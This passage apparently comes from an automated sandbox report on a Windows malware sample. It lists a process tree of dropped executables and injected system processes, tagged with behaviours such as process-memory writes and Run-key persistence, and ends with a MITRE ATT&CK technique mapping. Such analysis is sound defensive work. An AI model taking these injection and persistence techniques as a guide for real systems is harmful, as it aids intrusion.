PID:2732

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:348

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s BITS
1⤵
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:1540

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4700

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:4768

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4696

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:4976

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:6048

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5664

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:5700

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5916

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:5460

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:4380

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5264

C:\Users\Admin\AppData\Local\Temp\2297.exe
C:\Users\Admin\AppData\Local\Temp\2297.exe
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3352

C:\Users\Admin\AppData\Local\Temp\2CF9.exe
C:\Users\Admin\AppData\Local\Temp\2CF9.exe
1⤵
- Executes dropped EXE
PID:4840

C:\Users\Admin\AppData\Local\Temp\339802969.exe
"C:\Users\Admin\AppData\Local\Temp\339802969.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:6068

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:3332

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
PID:1564

C:\Users\Admin\AppData\Local\Temp\1230843919.exe
"C:\Users\Admin\AppData\Local\Temp\1230843919.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4656

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
3⤵
- Executes dropped EXE
PID:2280

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4272

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3520

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4084

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:5380

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5308

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:5976

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2168

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
- Suspicious behavior: MapViewOfSection
PID:4984

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:2332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5792

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:4940

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3388

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:4560

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5028

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:5320

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\4411e6c6f07c4dbc833164f141b82336 /t 5528 /p 5320
1⤵
PID:5684

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:1192

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Install Root Certificate

T1130

Modify Registry

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

Security Software Discovery

T1063

Software Discovery

T1518

System Information Discovery